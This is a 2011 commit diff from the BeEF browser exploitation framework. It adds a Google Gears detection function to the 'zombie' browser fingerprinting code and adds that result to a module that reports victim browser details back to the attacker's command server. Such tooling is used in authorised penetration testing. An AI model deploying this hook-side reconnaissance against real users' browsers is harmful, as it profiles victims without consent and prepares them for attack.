fixes issue 200

git-svn-id: https://beef.googlecode.com/svn/trunk@663 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
vitaly.osipov@gmail.com
2011-01-04 04:09:43 +00:00
parent 27784d6f90
commit 411ced7a12
3 changed files with 55 additions and 2 deletions

View File

@@ -295,7 +295,7 @@ beef.browser = {
/**
* Returns zombie browser window size.
* @from http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
*/
getWindowSize: function() {
var myWidth = 0, myHeight = 0;
@@ -383,7 +383,58 @@ beef.browser = {
return false;
}
return results;
},
/**
* Checks if the zombie has Google Gears installed.
* @return: {Boolean} true or false.
*
* @from: https://code.google.com/apis/gears/gears_init.js
* */
hasGoogleGears: function() {
if (window.google && google.gears) {
return true;
}
var ggfactory = null;
// Firefox
if (typeof GearsFactory != 'undefined') {
ggfactory = new GearsFactory();
} else {
// IE
try {
ggfactory = new ActiveXObject('Gears.Factory');
// IE Mobile on WinCE.
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
ggfactory.privateSetGlobalObject(this);
}
} catch (e) {
// Safari
if ((typeof navigator.mimeTypes != 'undefined')
&& navigator.mimeTypes["application/x-googlegears"]) {
ggfactory = document.createElement("object");
ggfactory.style.display = "none";
ggfactory.width = 0;
ggfactory.height = 0;
ggfactory.type = "application/x-googlegears";
document.documentElement.appendChild(ggfactory);
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
ggfactory = null;
}
}
}
}
if (!ggfactory) {
return false
} else {
return true
}
}
};

View File

@@ -55,7 +55,8 @@ function serialize(_obj)
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
var screen_params = serialize(beef.browser.getScreenParams());
var window_size = serialize(beef.browser.getWindowSize());
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
});

View File

@@ -32,6 +32,7 @@ class Detect_details < BeEF::Command
content['Java enabled'] = @datastore['java_enabled']
content['VBscript enabled'] = @datastore['vbscript_enabled']
content['Has Flash'] = @datastore['has_flash']
content['Has Google Gears'] = @datastore['has_googlegears']
content['Screen Parameters'] = @datastore['screen_params']
content['Window Size'] = @datastore['window_size']